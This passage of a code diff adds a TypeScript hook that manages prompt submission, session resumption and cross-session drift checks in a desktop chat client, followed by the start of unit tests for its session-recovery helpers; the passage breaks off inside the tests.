+  activeSessionIdRef: MutableRefObject<string | null>
+  busyRef: MutableRefObject<boolean>
+  copy: Translations['desktop']
+  createBackendSessionForSend: (preview?: string | null) => Promise<string | null>
+  getRoutedStoredSessionId: () => null | string
+  getRuntimeIdForStoredSession: (storedSessionId: string) => null | string
+  getRouteToken: () => string
+  requestGateway: GatewayRequest
+  resumeStoredSession: (storedSessionId: string) => Promise<void> | void
+  selectedStoredSessionIdRef: MutableRefObject<string | null>
+  syncAttachmentsForSubmit: (
+    sessionId: string,
+    attachments: ComposerAttachment[],
+    options?: { updateComposerAttachments?: boolean }
+  ) => Promise<{ attachments: ComposerAttachment[]; sessionId: string }>
+  updateSessionState: (
+    sessionId: string,
+    updater: (state: ClientSessionState) => ClientSessionState,
+    storedSessionId?: string | null
+  ) => ClientSessionState
+  /** Composer-scope seams: the main chat runs on the module-level globals
+   *  (defaults); a session tile injects its own so a tile submit never writes
+   *  the primary view's $busy/$messages or clears the main attachment chips. */
+  scope?: {
+    clearAttachments: () => void
+    readAttachments: () => ComposerAttachment[]
+    setAwaitingResponse: (awaiting: boolean) => void
+    setBusy: (busy: boolean) => void
+    setMessages: (updater: (current: ChatMessage[]) => ChatMessage[]) => void
+  }
+}
+
+// Stable identity — a fresh default object per render would churn the
+// useCallback below on every render.
+const MAIN_SUBMIT_SCOPE: NonNullable<SubmitPromptDeps['scope']> = {
+  clearAttachments: clearComposerAttachments,
+  readAttachments: () => $composerAttachments.get(),
+  setAwaitingResponse,
+  setBusy,
+  setMessages
+}
+
+/** The prompt submit pipeline, extracted from usePromptActions. */
+export function useSubmitPrompt(deps: SubmitPromptDeps) {
+  const {
+    activeSessionIdRef,
+    busyRef,
+    copy,
+    createBackendSessionForSend,
+    getRoutedStoredSessionId,
+    getRuntimeIdForStoredSession,
+    getRouteToken,
+    requestGateway,
+    resumeStoredSession,
+    selectedStoredSessionIdRef,
+    syncAttachmentsForSubmit,
+    updateSessionState,
+    scope = MAIN_SUBMIT_SCOPE
+  } = deps
+
+  return useCallback(
+    async (rawText: string, options?: SubmitTextOptions) => {
+      const visibleText = sanitizeComposerInput(rawText).trim()
+      const usingComposerAttachments = !options?.attachments
+
+      // Drop undefined/null holes a session switch or draft restore can leave in
+      // the attachments array (same bug class as AttachmentList #49624). Without
+      // this, the sibling iterations below (a.kind / a.label / a.refText, and the
+      // sync step) throw "Cannot read properties of undefined (reading 'refText')"
+      // and break the chat surface.
+      const attachments = (options?.attachments ?? scope.readAttachments()).filter((a): a is ComposerAttachment =>
+        Boolean(a)
+      )
+
+      const terminalContextBlocks = terminalContextBlocksFromDraft(rawText).join('\n\n')
+      const hasImage = attachments.some(a => a.kind === 'image')
+
+      // Refs are recomputed after sync (file.attach rewrites @file: refs to
+      // workspace-relative paths the remote gateway can resolve). Seed the
+      // optimistic message with the pre-sync refs, then rewrite once synced.
+      // Images use their base64 preview so the thumbnail renders inline without
+      // a (remote-mode 403-prone) /api/media fetch — see optimisticAttachmentRef.
+      let attachmentRefs = attachments.map(optimisticAttachmentRef).filter((r): r is string => Boolean(r))
+
+      const buildContextText = (atts: ComposerAttachment[]): string => {
+        // atts may be the post-sync array, which can reintroduce holes; filter
+        // before touching a.refText / a.kind.
+        const present = atts.filter((a): a is ComposerAttachment => Boolean(a))
+
+        const contextRefs = present
+          .map(a => a.refText)
+          .filter(Boolean)
+          .join('\n')
+
+        return (
+          [contextRefs, terminalContextBlocks, visibleText].filter(Boolean).join('\n\n') ||
+          (present.some(a => a.kind === 'image') ? 'What do you see in this image?' : '')
+        )
+      }
+
+      // Queue drains fire on the busy→false settle edge, where busyRef (synced
+      // from $busy by a separate effect) may still read true — honoring it would
+      // bounce the drained send. The drain lock serializes them; the user path
+      // keeps the guard so a stray Enter mid-turn can't double-submit.
+      //
+      // The guard reads the TARGET session's busy state (isTargetSessionBusy),
+      // not the foreground flag: an explicit target (tile, queue drain) is
+      // frequently not the session on screen, so the foreground flag would gate
+      // one session's send on another session's turn.
+      const hasSendable = Boolean(visibleText || terminalContextBlocks || attachments.length || hasImage)
+
+      const guardSessionId = options?.sessionId ?? activeSessionIdRef.current
+
+      if (
+        !hasSendable ||
+        (!options?.fromQueue && isTargetSessionBusy($sessionStates.get(), guardSessionId, busyRef.current))
+      ) {
+        return false
+      }
+
+      // Typing barge-in: a new send silences any in-flight spoken reply.
+      if (isVoicePlaybackActive()) {
+        markVoicePlaybackInterrupted()
+        stopVoicePlayback()
+      }
+
+      // Barged mid-speech (here or via the voice loop's VAD)? Flag the submit
+      // so the backend notes the interruption to the model.
+      const interrupted = takeVoicePlaybackInterrupted()
+
+      // Queue drains carry their source session explicitly. A background drain
+      // must never inherit the currently selected session after the user moves
+      // to another chat.
+      const targetStoredSessionId = options?.storedSessionId ?? selectedStoredSessionIdRef.current
+
+      const targetStartedInCurrentView =
+        !targetStoredSessionId || targetStoredSessionId === selectedStoredSessionIdRef.current
+
+      // A queued/background drain whose runtime binding was reaped must NOT
+      // inherit the foreground runtime id when its storedSessionId targets a
+      // different session — that would land the queued prompt in whichever
+      // session the user happens to be viewing (cross-session leak). When the
+      // drain is for the current view (no storedSessionId, or it matches the
+      // foreground), the foreground runtime is correct and must be kept.
+      const isBackgroundQueueDrain = Boolean(
+        options?.fromQueue && options?.storedSessionId && options.storedSessionId !== selectedStoredSessionIdRef.current
+      )
+
+      let sessionId: null | string = options?.sessionId ?? (isBackgroundQueueDrain ? null : activeSessionIdRef.current)
+
+      // A QUEUED runtime id is authoritative ONLY while it still belongs to its
+      // stored session. On a session switch the composer's queue key flips with
+      // the route while the foreground runtime id lags a resume behind, so a
+      // drain can fire with storedSessionId=B but sessionId=A-runtime — and the
+      // prompt.submit below would land B's queued prompt (and its whole answer
+      // turn) inside A. Verify the pair against the central binding and drop a
+      // stale queued id: the targetStoredSessionId resume path below then
+      // rebinds the right runtime, exactly as a background drain with an
+      // unknown binding does.
+      //
+      // Scoped to fromQueue on purpose. Only a drain pairs identifiers from two
+      // different clocks; every other explicit-target caller resolves both ids
+      // in the same tick and is authoritative by construction. A slash skill
+      // dispatch into a fresh ⌘T tab (slash.ts) passes exactly this shape —
+      // sessionId=tab-runtime, storedSessionId=tab-stored, no central binding
+      // recorded yet — so an unscoped check would null the target and silently
+      // drop the kickoff.
+      //
+      // The identity pair (storedSessionId === sessionId) is the fresh-chat
+      // fallback — an unpersisted conversation's queue key IS its runtime id,
+      // so it has no central binding to check against and is left untouched.
+      if (
+        options?.fromQueue &&
+        options.sessionId &&
+        options.storedSessionId &&
+        options.storedSessionId !== options.sessionId
+      ) {
+        const boundRuntimeId = getRuntimeIdForStoredSession(options.storedSessionId)
+
+        if (boundRuntimeId !== options.sessionId) {
+          sessionId = boundRuntimeId
+        }
+      }
+
+      // Pin the foreground session context for the whole async submit pipeline.
+      // Without this, a fast session switch during session.resume / file.attach
+      // can redirect the user's text into a different chat (#54527). Mutable —
+      // not const — because a new-chat submit legitimately re-homes to the
+      // session it creates (see the re-pin after createBackendSessionForSend).
+      const startingActiveSessionId = activeSessionIdRef.current
+      const selectedStoredSessionId = selectedStoredSessionIdRef.current
+      const routedStoredSessionId = getRoutedStoredSessionId()
+
+      const routedRuntimeId = routedStoredSessionId ? getRuntimeIdForStoredSession(routedStoredSessionId) : null
+
+      const routedSessionNeedsResume = Boolean(
+        routedStoredSessionId &&
+        (selectedStoredSessionId !== routedStoredSessionId ||
+          !startingActiveSessionId ||
+          startingActiveSessionId !== routedRuntimeId)
+      )
+
+      let startingStoredSessionId = routedSessionNeedsResume
+        ? routedStoredSessionId
+        : (selectedStoredSessionId ?? routedStoredSessionId)
+
+      let startingRouteToken = getRouteToken()
+
+      // Reason string (or null) for why the session context genuinely drifted
+      // under this in-flight submit. sessionContextDrift ignores the churn a
+      // busy gateway produces (selection null-resets on a gateway/profile
+      // switch, search/hash-only route changes, background active-ref
+      // retargets) so a second-session send doesn't silently abort — it fires
+      // only on a real move to a DIFFERENT chat. Reads the live refs/route each
+      // call and measures against the (mutable) baseline, which is re-pinned to
+      // the created chat after createBackendSessionForSend. submitTargetStoredId
+      // is the stored session this submit targets, so a move ONTO it (the
+      // pipeline's own re-home) is never counted as drift.
+      const sessionDriftReason = (): string | null =>
+        targetStartedInCurrentView
+          ? sessionContextDrift({
+              startRouteToken: startingRouteToken,
+              nowRouteToken: getRouteToken(),
+              startSelectedStoredId: startingStoredSessionId,
+              nowSelectedStoredId: selectedStoredSessionIdRef.current,
+              submitTargetStoredId: startingStoredSessionId,
+              composerScope: options?.composerScope,
+              // The composer keys drafts/attachments on the durable lineage
+              // root (survives auto-compression tip rotation), while
+              // startingStoredSessionId is the live tip — resolve the target
+              // into the same lineage-root domain before comparing, or every
+              // submit into a session that has ever compressed would
+              // false-positive-abort.
+              submitTargetComposerScope: resolveComposerSessionKey(startingStoredSessionId, $sessions.get())
+            })
+          : null
+
+      const targetIsCurrentView = (): boolean => targetStartedInCurrentView && !sessionDriftReason()
+
+      // One submit in flight per session — drop any concurrent re-fire so a
+      // stalled turn can't stack the same prompt into multiple real turns. The
+      // foreground ChatBar and background drainers can briefly overlap during a
+      // session switch; this per-session lock makes that safe.
+      const submitLockKey = targetStoredSessionId || sessionId || startingActiveSessionId || '__pending_new__'
+
+      if (_submitInFlight.has(submitLockKey)) {
+        return false
+      }
+
+      _submitInFlight.add(submitLockKey)
+      let submitLockReleased = false
+
+      const releaseSubmitLock = () => {
+        if (!submitLockReleased) {
+          submitLockReleased = true
+          _submitInFlight.delete(submitLockKey)
+        }
+      }
+
+      const optimisticId = `user-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`
+
+      // What the bubble shows. A `/skill` send carries the whole expanded
+      // skill body as its text — model-facing scaffolding — so the dispatcher
+      // hands us the invocation to render instead. Everything else shows what
+      // was typed.
+      const bubbleText = options?.displayText ?? visibleText
+
+      const buildUserMessage = (): ChatMessage => ({
+        id: optimisticId,
+        role: 'user',
+        parts: [textPart(bubbleText || (attachmentRefs.length ? '' : attachments.map(a => a.label).join(', ')))],
+        attachmentRefs
+      })
+
+      const releaseBusy = () => {
+        releaseSubmitLock()
+
+        if (targetIsCurrentView()) {
+          setMutableRef(busyRef, false)
+          scope.setBusy(false)
+          scope.setAwaitingResponse(false)
+        }
+      }
+
+      // Idempotent optimistic insert — re-running with the resolved sessionId
+      // after createBackendSessionForSend just overwrites with the same id.
+      const seedOptimistic = (sid: string) => {
+        // Recents jump on send — not stream start, not turn resolve.
+        const activity = bubbleText.trim() ? { preview: bubbleText.trim() } : undefined
+        touchSessionActivity(sid, activity)
+
+        if (targetStoredSessionId && targetStoredSessionId !== sid) {
+          touchSessionActivity(targetStoredSessionId, activity)
+        }
+
+        updateSessionState(
+          sid,
+          state => ({
+            ...state,
+            // A fresh user message may never land after a still-pending
+            // assistant bubble — settle any leftover (drop it when empty)
+            // before appending, or a stale spinner gets stranded
+            // mid-transcript above this message forever.
+            messages: state.messages.some(m => m.id === optimisticId)
+              ? state.messages
+              : [...finalizeInterruptedMessages(state.messages, state.streamId), buildUserMessage()],
+            busy: true,
+            awaitingResponse: true,
+            pendingBranchGroup: null,
+            sawAssistantPayload: false,
+            streamId: null,
+            // Fresh submit = new turn — clear any leftover interrupt flag, else
+            // mutateStream/completeAssistantMessage drop every delta of this turn
+            // (what made drained-after-interrupt sends go silent).
+            interrupted: false
+          }),
+          targetStoredSessionId
+        )
+      }
+
+      // After sync rewrites refs, refresh the optimistic message in place so the
+      // transcript shows the resolved @file: ref rather than the local path.
+      const rewriteOptimistic = (sid: string) =>
+        updateSessionState(
+          sid,
+          state => ({
+            ...state,
+            messages: state.messages.map(message => (message.id === optimisticId ? buildUserMessage() : message))
+          }),
+          targetStoredSessionId
+        )
+
+      const dropOptimistic = (sid: null | string) => {
+        if (!sid) {
+          if (targetIsCurrentView()) {
+            scope.setMessages(current => current.filter(m => m.id !== optimisticId))
+          }
+
+          return
+        }
+
+        updateSessionState(
+          sid,
+          state => ({
+            ...state,
+            messages: state.messages.filter(m => m.id !== optimisticId),
+            busy: false,
+            awaitingResponse: false,
+            pendingBranchGroup: null
+          }),
+          targetStoredSessionId
+        )
+      }
+
+      const abortForSessionSwitch = (optimisticSessionId: null | string): false => {
+        dropOptimistic(optimisticSessionId)
+        releaseBusy()
+
+        return false
+      }
+
+      // Foreground-only state: a background queue drain must never write the
+      // selected view's busy/awaiting flags or clear its notifications.
+      if (targetIsCurrentView()) {
+        setMutableRef(busyRef, true)
+        scope.setBusy(true)
+        scope.setAwaitingResponse(true)
+        clearNotifications()
+      }
+
+      // A route whose selected/runtime binding is incomplete or cross-wired
+      // outranks a stale render-time runtime id (often from the previous
+      // profile): force the full routed resume path below. An explicit queued
+      // runtime id (background drain) is authoritative and is left untouched.
+      if (!options?.sessionId && routedSessionNeedsResume) {
+        sessionId = null
+      }
+
+      if (sessionId) {
+        seedOptimistic(sessionId)
+      } else if (targetIsCurrentView()) {
+        scope.setMessages(current => [...current, buildUserMessage()])
+      }
+
+      if (!sessionId && routedStoredSessionId && routedSessionNeedsResume) {
+        // The URL still names a durable conversation, but a profile
+        // swap/reconnect left its volatile session binding incomplete or
+        // cross-wired. Run the full profile-aware resume path. Creating here
+        // would fork a contextless chat against whichever profile is active.
+        try {
+          await resumeStoredSession(routedStoredSessionId)
+        } catch {
+          return abortForSessionSwitch(null)
+        }
+
+        const routedResumeDrift = sessionDriftReason()
+
+        if (routedResumeDrift) {
+          console.warn('[submit-drift-abort]', routedResumeDrift, { phase: 'post-routed-resume' })
+
+          return abortForSessionSwitch(null)
+        }
+
+        const recoveredRuntimeId = activeSessionIdRef.current
+        const validatedRuntimeId = getRuntimeIdForStoredSession(routedStoredSessionId)
+
+        // Recovery only succeeded when both sides of the cache agree that the
+        // live runtime belongs to the durable routed session. A failed profile
+        // swap may leave the previous profile's runtime active, while a recycled
+        // runtime id may leave a cross-wired stored-session mapping.
+        if (
+          !recoveredRuntimeId ||
+          recoveredRuntimeId !== validatedRuntimeId ||
+          selectedStoredSessionIdRef.current !== routedStoredSessionId
+        ) {
+          return abortForSessionSwitch(null)
+        }
+
+        sessionId = recoveredRuntimeId
+        seedOptimistic(sessionId)
+      }
+
+      if (!sessionId && targetStoredSessionId) {
+        // A target stored session exists but its runtime binding is gone (the
+        // live session was orphan-reaped, a timeout/reconnect cleared it, or a
+        // background queue drain only has the durable id). Continue that target
+        // conversation; only a genuine new-chat draft may create a new session.
+        try {
+          // Re-register on the session's OWNING profile — resuming on whichever
+          // profile is live would fork the conversation into the wrong DB (#67603).
+          const resumeProfile = await resolveSessionProfile(targetStoredSessionId)
+
+          const resumed = await requestGateway<{ session_id: string }>('session.resume', {
+            session_id: targetStoredSessionId,
+            source: 'desktop',
+            omit_messages: true,
+            ...(resumeProfile ? { profile: resumeProfile } : {})
+          })
+
+          const resumeDrift = sessionDriftReason()
+
+          if (resumeDrift) {
+            console.warn('[submit-drift-abort]', resumeDrift, { phase: 'post-resume' })
+
+            return abortForSessionSwitch(sessionId)
+          }
+
+          if (resumed?.session_id) {
+            sessionId = resumed.session_id
+
+            if (targetIsCurrentView()) {
+              activeSessionIdRef.current = sessionId
+            }
+          }
+        } catch {
+          // A target stored conversation is not a new-chat draft. If its
+          // runtime cannot be rebound, stop here rather than silently replacing
+          // it with a contextless session (#55578). For a background/queued
+          // drain this abort is a no-op on foreground state (both helpers are
+          // targetIsCurrentView-guarded) and simply drops the queued send.
+          return abortForSessionSwitch(null)
+        }
+
+        const resumeSettleDrift = sessionDriftReason()
+
+        if (resumeSettleDrift) {
+          console.warn('[submit-drift-abort]', resumeSettleDrift, { phase: 'post-resume-settle' })
+
+          return abortForSessionSwitch(sessionId)
+        }
+
+        if (!sessionId) {
+          return abortForSessionSwitch(null)
+        }
+
+        seedOptimistic(sessionId)
+      }
+
+      if (!sessionId) {
+        try {
+          sessionId = await createBackendSessionForSend(bubbleText)
+        } catch (err) {
+          dropOptimistic(null)
+          releaseBusy()
+
+          if (targetIsCurrentView()) {
+            notifyError(err, copy.sessionUnavailable)
+          }
+
+          return false
+        }
+
+        if (!sessionId) {
+          // createBackendSessionForSend returns null when the user switched
+          // sessions mid-create (it closes the orphaned session itself) —
+          // abort silently. Anything else is a real failure worth a toast.
+          const createNullDrift = sessionDriftReason()
+
+          if (createNullDrift) {
+            console.warn('[submit-drift-abort]', createNullDrift, { phase: 'post-create-null' })
+
+            return abortForSessionSwitch(null)
+          }
+
+          dropOptimistic(null)
+          releaseBusy()
+
+          if (targetIsCurrentView()) {
+            notify({ kind: 'error', title: copy.sessionUnavailable, message: copy.createSessionFailed })
+          }
+
+          return false
+        }
+
+        // A successful create re-homes selection + route to the chat it just
+        // minted, so the pre-create baseline can't tell our own re-home from
+        // a user switch (judging it drift aborted EVERY first send of a new
+        // chat: no prompt.submit, no DB row, a stranded route that 404s
+        // "Session not found"). The drift signal for this window is the
+        // active ref instead: every switch path re-nulls or retargets it
+        // synchronously, so it only still equals the id create returned when
+        // nobody re-homed since.
+        if (activeSessionIdRef.current !== sessionId) {
+          return abortForSessionSwitch(sessionId)
+        }
+
+        // Re-pin the baseline to the created chat for the rest of the
+        // pipeline; the closures (seedOptimistic et al) see the new value.
+        startingStoredSessionId = selectedStoredSessionIdRef.current
+        startingRouteToken = getRouteToken()
+
+        seedOptimistic(sessionId)
+      }
+
+      try {
+        // Attach runs BEFORE prompt.submit, so a stale runtime id fails there
+        // first and submit's own recovery never runs — that asymmetry is why
+        // plain text survived sleep/wake but images reported "session not
+        // found". The attach path recovers and reports the live id back here.
+        const attachResult = await syncAttachmentsForSubmit(sessionId, attachments, {
+          updateComposerAttachments: usingComposerAttachments
+        })
+
+        const syncedAttachments = attachResult.attachments
+        // Always a live string; pin it so TS narrows past the outer
+        // `string | null` sessionId binding for prompt.submit.
+        const liveSessionId = attachResult.sessionId
+
+        sessionId = liveSessionId
+
+        const attachmentsDrift = sessionDriftReason()
+
+        if (attachmentsDrift) {
+          console.warn('[submit-drift-abort]', attachmentsDrift, { phase: 'post-attachments' })
+
+          return abortForSessionSwitch(liveSessionId)
+        }
+
+        // Rewrite the optimistic message + prompt text with the synced refs so
+        // the gateway receives @file: paths that resolve in its workspace.
+        // (Images keep their inline base64 preview — see optimisticAttachmentRef.)
+        attachmentRefs = syncedAttachments.map(optimisticAttachmentRef).filter((r): r is string => Boolean(r))
+        rewriteOptimistic(liveSessionId)
+        const text = buildContextText(syncedAttachments)
+
+        const submitParams = (targetId: string) => ({
+          session_id: targetId,
+          text,
+          ...(interrupted && { interrupted }),
+          // A queue drain is a "run after" message, never a live-turn
+          // correction. The flag tells the gateway's busy path to hold it for
+          // the next turn untouched — without it, losing the settle race
+          // (client saw idle, server still unwinding) redirects or interrupts
+          // the live turn with text the user explicitly queued.
+          ...(options?.fromQueue && { queued: true })
+        })
+
+        // On sleep/wake the gateway's in-memory session may have been cleared
+        // while the desktop app still holds the old session ID. The shared
+        // resolver re-registers the stored session and retries once; every
+        // other session-scoped RPC (attach, /compress, rewind, interrupt) goes
+        // through the same helper so one policy covers the whole bug class.
+        let submitErr: unknown = null
+
+        try {
+          const recoverStoredSessionId = targetStoredSessionId ?? selectedStoredSessionIdRef.current
+
+          await withSessionNotFoundResume(
+            sessionId,
+            recoverStoredSessionId,
+            liveId =>
+              withSessionBusyRetry(() =>
+                requestGateway('prompt.submit', submitParams(liveId), PROMPT_SUBMIT_REQUEST_TIMEOUT_MS)
+              ),
+            {
+              requestGateway,
+              driftReason: sessionDriftReason,
+              onRecovered: recoveredId => {
+                if (targetIsCurrentView()) {
+                  activeSessionIdRef.current = recoveredId
+                  setActiveSessionId(recoveredId)
+                }
+              }
+            },
+            // A starved backend loop (#55578 symptom d) rejects the submit even
+            // though the stored session is fine — recover it like a dead id
+            // instead of erroring out and losing the session binding.
+            { alsoTimeout: true }
+          )
+        } catch (firstErr) {
+          if (firstErr instanceof SessionRecoveryAborted) {
+            console.warn('[submit-drift-abort]', firstErr.reason, { phase: 'post-resume-retry' })
+
+            return abortForSessionSwitch(sessionId)
+          }
+
+          submitErr = firstErr
+        }
+
+        if (submitErr !== null) {
+          throw submitErr
+        }
+
+        if (usingComposerAttachments) {
+          scope.clearAttachments()
+        }
+
+        // Submit landed — the turn now runs (busy stays true), but the submit
+        // window is closed, so release the lock for the next (sequential) send.
+        releaseSubmitLock()
+
+        return true
+      } catch (err) {
+        releaseBusy()
+
+        // A queued drain that raced a not-yet-settled turn gets a transient
+        // "session busy" (4009). Don't surface an error bubble/toast — the entry
+        // stays queued and the composer's bounded auto-drain retries when idle.
+        if (options?.fromQueue && isSessionBusyError(err)) {
+          return false
+        }
+
+        const message = inlineErrorMessage(err, copy.promptFailed)
+
+        updateSessionState(
+          sessionId,
+          state => ({
+            ...state,
+            messages: [
+              ...state.messages,
+              {
+                id: `assistant-error-${Date.now()}`,
+                role: 'assistant',
+                parts: [],
+                error: message || copy.promptFailed,
+                branchGroupId: state.pendingBranchGroup ?? undefined
+              }
+            ],
+            busy: false,
+            awaitingResponse: false,
+            pendingBranchGroup: null,
+            sawAssistantPayload: true
+          }),
+          targetStoredSessionId
+        )
+
+        if (targetIsCurrentView() && isProviderSetupError(err)) {
+          requestDesktopOnboarding(copy.providerCredentialRequired)
+
+          return false
+        }
+
+        if (targetIsCurrentView()) {
+          notifyError(err, copy.promptFailed)
+        }
+
+        return false
+      }
+    },
+    [
+      activeSessionIdRef,
+      busyRef,
+      copy,
+      createBackendSessionForSend,
+      getRoutedStoredSessionId,
+      getRuntimeIdForStoredSession,
+      getRouteToken,
+      requestGateway,
+      resumeStoredSession,
+      scope,
+      selectedStoredSessionIdRef,
+      syncAttachmentsForSubmit,
+      updateSessionState
+    ]
+  )
+}
diff --git a/ui-desktop/src/app/session/hooks/use-prompt-actions/utils.test.ts b/ui-desktop/src/app/session/hooks/use-prompt-actions/utils.test.ts
new file mode 100644
index 000000000..ebae604cd
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-prompt-actions/utils.test.ts
@@ -0,0 +1,495 @@
+import type { AppendMessage } from '@assistant-ui/react'
+import { describe, expect, it, vi } from 'vitest'
+
+import type { ChatMessage } from '@/lib/chat-messages'
+
+import {
+  appendText,
+  base64FromDataUrl,
+  friendlyRemoteAttachError,
+  type GatewayRequest,
+  imageFilenameFromPath,
+  inlineErrorMessage,
+  isSessionBusyError,
+  isSessionIdCandidate,
+  isSessionNotFoundError,
+  readFileDataUrlForAttach,
+  renderRpcResult,
+  SessionRecoveryAborted,
+  slashStatusText,
+  visibleUserIndexAtOrdinal,
+  visibleUserOrdinal,
+  withSessionNotFoundResume
+} from './utils'
+
+describe('isSessionIdCandidate', () => {
+  it('accepts the timestamped and hex id forms', () => {
+    expect(isSessionIdCandidate('20260101_120000_abc123')).toBe(true)
+    expect(isSessionIdCandidate('a'.repeat(32))).toBe(true)
+  })
+
+  it('rejects arbitrary text', () => {
+    expect(isSessionIdCandidate('hello world')).toBe(false)
+    expect(isSessionIdCandidate('abc')).toBe(false)
+  })
+})
+
+describe('inlineErrorMessage', () => {
+  it('unwraps an electron remote-method error', () => {
+    expect(inlineErrorMessage(new Error("Error invoking remote method 'x': Error: boom"), 'fallback')).toBe('boom')
+  })
+
+  it('strips a leading Error: prefix', () => {
+    expect(inlineErrorMessage(new Error('Error: nope'), 'fallback')).toBe('nope')
+  })
+
+  it('falls back for non-error, non-string input', () => {
+    expect(inlineErrorMessage(undefined, 'fallback')).toBe('fallback')
+  })
+})
+
+describe('session error classifiers', () => {
+  it('detects not-found and busy errors', () => {
+    expect(isSessionNotFoundError(new Error('Session not found'))).toBe(true)
+    expect(isSessionBusyError(new Error('session busy'))).toBe(true)
+    expect(isSessionNotFoundError(new Error('other'))).toBe(false)
+    expect(isSessionBusyError(new Error('other'))).toBe(false)
+  })
+})
+
+describe('withSessionNotFoundResume', () => {
+  const STORED = 'stored-1'
+  const DEAD = 'rt-dead'
+  const FRESH = 'rt-fresh'
+
+  // Profile resolution is injected, so these tests never reach the REST layer.
+  // Before this was a dependency the helper called resolveStoredSession ->
+  // getSession() and its coverage silently depended on $sessions/$profiles
+  // state left behind by whichever test file ran first.
+  const deps = (overrides: Record<string, unknown> = {}) => ({
+    requestGateway: vi.fn(async (method: string) => {
+      if (method === 'session.resume') {
+        return { session_id: FRESH }
+      }
+
+      throw new Error(`unexpected ${method}`)
+    }) as unknown as GatewayRequest,
+    resolveProfile: vi.fn(async () => undefined),
+    ...overrides
+  })
+
+  it('returns the first-call result without resuming when the RPC succeeds', async () => {
+    const d = deps()
+    const call = vi.fn(async (sid: string) => `ok:${sid}`)
+
+    expect(await withSessionNotFoundResume(DEAD, STORED, call, d)).toEqual({
+      recovered: false,
+      result: `ok:${DEAD}`,
+      sessionId: DEAD
+    })
+    expect(call).toHaveBeenCalledTimes(1)
+    expect(d.requestGateway).not.toHaveBeenCalled()
+  })
+
+  // The whole bug class: every session-scoped RPC recovers identically. Before
+  // consolidation only prompt.submit did, so attach/compress/rewind surfaced a
+  // raw "session not found" after sleep while plain text worked.
+  it.each([
+    ['image.attach_bytes', 'attach an image'],
+    ['file.attach', 'attach a file'],
+    ['session.compress', 'run /compress'],
+    ['prompt.submit', 'submit a rewind'],
+    ['session.interrupt', 'stop a turn']
+  ])('resumes and retries once so %s can %s after a stale drop', async rpc => {
+    const d = deps()
+    let attempts = 0
+
+    const call = vi.fn(async (sid: string) => {
+      attempts += 1
+
+      if (attempts === 1) {
+        throw new Error(`${rpc} failed: session not found`)
+      }
+
+      return `ok:${sid}`
+    })
+
+    expect(await withSessionNotFoundResume(DEAD, STORED, call, d)).toEqual({
+      recovered: true,
+      result: `ok:${FRESH}`,
+      sessionId: FRESH
+    })
+    expect(call.mock.calls.map(c => c[0])).toEqual([DEAD, FRESH])
+  })
+
+  it('resumes on the session-owning profile so recovery cannot fork the conversation', async () => {
+    const d = deps({ resolveProfile: vi.fn(async () => 'work') })
+    let first = true
+
+    await withSessionNotFoundResume(
+      DEAD,
+      STORED,
+      async (sid: string) => {
+        if (first) {
+          first = false
+          throw new Error('session not found')
+        }
+
+        return sid
+      },
+      d
+    )
+
+    expect(d.requestGateway).toHaveBeenCalledWith(
+      'session.resume',
+      expect.objectContaining({ session_id: STORED, source: 'desktop', omit_messages: true, profile: 'work' })
+    )
+  })
+
+  it('publishes the recovered id exactly once', async () => {
+    const onRecovered = vi.fn()
+    const d = deps({ onRecovered })
+    let first = true
+
+    await withSessionNotFoundResume(
+      DEAD,
+      STORED,
+      async (sid: string) => {
+        if (first) {
+          first = false
+          throw new Error('session not found')
+        }
+
+        return sid
+      },
+      d
+    )
+
+    expect(onRecovered).toHaveBeenCalledExactlyOnceWith(FRESH)
+  })
+
+  it('aborts instead of retrying when the user moved on during the resume', async () => {
+    const onRecovered = vi.fn()
+    const d = deps({ driftReason: () => 'selection:a->b', onRecovered })
+
+    const call = vi.fn(async () => {
+      throw new Error('session not found')
+    })
+
+    await expect(withSessionNotFoundResume(DEAD, STORED, call, d)).rejects.toThrow(SessionRecoveryAborted)
+    // Retry suppressed and nothing published: landing it would run against a
+    // session the user is no longer looking at.
+    expect(call).toHaveBeenCalledTimes(1)
+    expect(onRecovered).not.toHaveBeenCalled()
+  })
+
+  it('rethrows the original error when the resume itself 404s (never-persisted draft)', async () => {
+    const d = deps({
+      requestGateway: vi.fn(async () => {
+        throw new Error('resume failed: session not found')
+      }) as unknown as GatewayRequest
+    })
+
+    const call = vi.fn(async () => {
+      throw new Error('prompt.submit failed: original symptom')
+    })
+
+    // The ORIGINAL error, not the secondary resume failure — the double-404
+    // otherwise reported the confusing inner message.
+    await expect(withSessionNotFoundResume(DEAD, STORED, call, d)).rejects.toThrow('original symptom')
+  })
+
+  it('rethrows when no stored session id is available to resume', async () => {
+    const d = deps()
+
+    const call = vi.fn(async () => {
+      throw new Error('session not found')
+    })
+
+    await expect(withSessionNotFoundResume(DEAD, null, call, d)).rejects.toThrow('session not found')
+    expect(d.requestGateway).not.toHaveBeenCalled()
+  })
+
+  it('does not recover a gateway timeout unless the caller opts in', async () => {
+    const d = deps()
+
+    const timeout = vi.fn(async () => {
+      throw new Error('request timed out: session.compress')
+    })
+
+    // /compress is legitimately LLM-slow; retrying its timeout as a dead
+    // session would double a minutes-long call.
+    await expect(withSessionNotFoundResume(DEAD, STORED, timeout, d)).rejects.toThrow('request timed out')
+    expect(d.requestGateway).not.toHaveBeenCalled()
+
+    // prompt.submit opts in: a starved backend loop is indistinguishable from
+    // a dead runtime client-side (#55578).
+    const optIn = deps()
+    let first = true
+
+    expect(
+      await withSessionNotFoundResume(
+        DEAD,
+        STORED,
+        async (sid: string) => {
+          if (first) {
+            first = false
+            throw new Error('request timed out: prompt.submit')
+          }
+
+          return `ok:${sid}`
+        },
+        optIn,
+        { alsoTimeout: true }
+      )
+    ).toMatchObject({ recovered: true, sessionId: FRESH })
+  })
+
+  it('gives up after one retry so a genuinely broken session still surfaces', async () => {
+    const d = deps()
+
+    const call = vi.fn(async () => {
+      throw new Error('session not found')
+    })
+
+    await expect(withSessionNotFoundResume(DEAD, STORED, call, d)).rejects.toThrow('session not found')
+    expect(call).toHaveBeenCalledTimes(2)
+    expect(d.requestGateway).toHaveBeenCalledTimes(1)
+  })
+})
+
+describe('base64FromDataUrl', () => {
+  it('returns the part after the comma', () => {
+    expect(base64FromDataUrl('data:image/png;base64,AAAA')).toBe('AAAA')
+  })
+
+  it('returns empty when there is no comma', () => {
+    expect(base64FromDataUrl('nope')).toBe('')
+  })
+})
+
+describe('imageFilenameFromPath', () => {
+  it('takes the last path segment', () => {
+    expect(imageFilenameFromPath('/a/b/c.png')).toBe('c.png')
